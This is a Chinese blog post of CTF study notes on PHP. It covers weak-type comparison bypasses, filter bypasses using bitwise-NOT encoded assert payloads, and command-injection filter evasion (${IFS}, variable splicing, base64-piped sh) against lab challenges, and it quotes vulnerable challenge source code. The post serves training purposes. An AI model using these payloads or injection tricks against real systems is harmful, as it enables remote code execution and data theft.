• 84:CTF夺旗PHP弱类型&异或取反&序列化&RCE


    思维导图

    本课重点:

    • 案例1:PHP-相关总结知识点-后期复现
    • 案例2:PHP-弱类型对比绕过测试-常考点
    • 案例3:PHP-正则preg_match绕过-常考点
    • 案例4:PHP-命令执行RCE变异绕过-常考点
    • 案例5:PHP-反序列化考题分析构造复现-常考点

    案例1:PHP-相关总结知识点-后期复现

    相关PHP所有总结知识点参考:

    https://www.cnblogs.com/iloveacm/category/1791836.html

    1 ctf变量
    2 php的弱类型比较问题
    3 php断言(assert)
    4 php读取目录下文件的方法
    5 preg_match绕过
    6 PHP中sha1()函数和md5()
    
    1 异或注入
    2 updatexml()函数报错注入
    3 源文件泄露利用
    4 extract变量覆盖
    5 strcmp()漏洞
    6 md5()漏洞
    7 ereg()截断漏洞
    8 弱类型整数大小比较绕过
    
    1 命令执行
    2 md5()漏洞
    3 escapeshellarg()与escapeshellcmd()
    4 sql注入绕过关键字
    5 preg_replace/e的命令执行漏洞
    6 MYSQL特殊模式
    7 PHP字符串解析特性
    

    案例2:PHP-弱类型对比绕过测试-常考点

    弱类型绕过对比总结:

    https://www.cnblogs.com/Mrsm1th/p/6745532.html

    === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
    == 在进行比较的时候,会先将字符串类型转化成相同,再比较

    举例

    //对函数类型有限制
    <?php
    $num=$_GET['num'];
    if (!is_numeric($num)){
    	echo $num;
    	if($num==l)
    	echo 'flag{*****flag****} ';
    ?>
    //indexl.php?num=1x
    //indexl.php?num=1%0a
    

    传参1x,得到flag。

    案例3:PHP-正则preg_match绕过-常考点

    ctf中 preg_match 绕过技术:

    • 方法1:异或
    • 方法2:取反
    • 方法3:数组
    • 方法4: PCRE
    • 方法5∶换行符
    • 参考:http://t.zoukankan.com/v01cano-p-11736722.html

    真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-web-hate_php

    靶场地址:https://www.ctfhub.com/#/challenge

    <1>打开页面,显示如下代码

    <?php
    error_reporting(0);
    if(!isset($_GET['code'])){
        highlight_file(__FILE__);
    }else{
        $code = $_GET['code'];
        if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
            die('You are too good for me');
        }
        $blacklist = get_defined_functions()['internal'];
        foreach ($blacklist as $blackitem) {
            if (preg_match ('/' . $blackitem . '/im', $code)) {
                die('You deserve better');
            }
        }
        assert($code);
    }
    

    <2>第一个正则表达式过滤了很多字符且不区分大小写。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过。

    首先打印当前目录下的文件:print_r(scandir('.')) 

    <?php
    echo urlencode(~'print_r');  //urlencode url编码  ~ 取反
    echo "\n";
    echo urlencode(~'scandir');
    echo "\n";
    echo urlencode(~'.');
    ?>

    //生成payload:/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

    然后显示flag内容:highlight_file('flag.php')

    <?php
    echo urlencode(~'highlight_file'); 
    echo "\n";
    echo urlencode(~'flag.php'); 
    ?>
    
    //生成payload:/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))
    

    成功拿到flag。

    案例4:PHP-命令执行RCE变异绕过-常考点

    命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html

    靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

    <1>场景打开如下,猜测有命令执行漏洞。

    <2>使用管道符,成功列出当前目录下文件

     

     <3>尝试读取flag文件,失败,发现过滤了空格、特殊字符、关键字flag等。

     

    <4>尝试绕过

    空格绕过方式:
    $IFS
    ${IFS}
    $IFS$数字 
    < 
    <> 
    
    三种绕过方式:
    1.sh
    /?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
    
    2.变量拼接
    /?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
    
    3.内联注释(将反引号命令的结果作为输入来执行命令)
    /?ip=127.0.0.1;cat$IFS$2`ls`
    

    使用变量拼接的方式,成功绕过,得到flag。(需要右击查看网页源代码)

    /?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

    同样,也可以查看网页源代码,分析绕过规则

    /?ip=127.0.0.1;cat$IFS$2index.php 

    <?php
    if(isset($_GET['ip'])){
      $ip = $_GET['ip'];
      if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
        echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
        die("fxck your symbol!");
      } else if(preg_match("/ /", $ip)){
        die("fxck your space!");
      } else if(preg_match("/bash/", $ip)){
        die("fxck your bash!");
      } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
        die("fxck your flag!");
      }
      $a = shell_exec("ping -c 4 ".$ip);
      echo "<pre>";
      print_r($a);
    }
    
    ?>
    

    案例5:PHP-反序列化考题分析构造复现-常考点

    真题:网鼎杯2020-青龙组-web-AreUserialz

    靶场地址:https://www.ctfhub.com/#/challenge

    发现Flag位置-反序列化考点-分析代码-构造代码生成Payload

    具体解题步骤参考前面笔记 37:WEB漏洞-反序列化之PHP&JAVA全解(上)

    https://www.cnblogs.com/zhengna/p/15661109.html

    涉及资源:

    • https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
    • https://buuoj.cn/challenges 靶场
    • https://www.ctfhub.com/#/challenge ctf
    • http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
    • https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行
  • 相关阅读:
    如何通过经纬度获取地址信息?
    通过google地图的webservice根据城市名称获取经纬度
    PHP 使用 GeoLiteCity 库解析 IP 为地理位置
    PHPExcel对于Excel中日期和时间类型的处理
    phpexcel来做表格导出(多个工作sheet)
    PHPExcel读取excel文件
    读取上传的CSV为DataTable
    判断sqlserver对象是否存在
    async & await 的前世今生
    .NET4.5之初识async与await
  • 原文地址:https://www.cnblogs.com/zhengna/p/15802088.html
Copyright © 2020-2023  润新知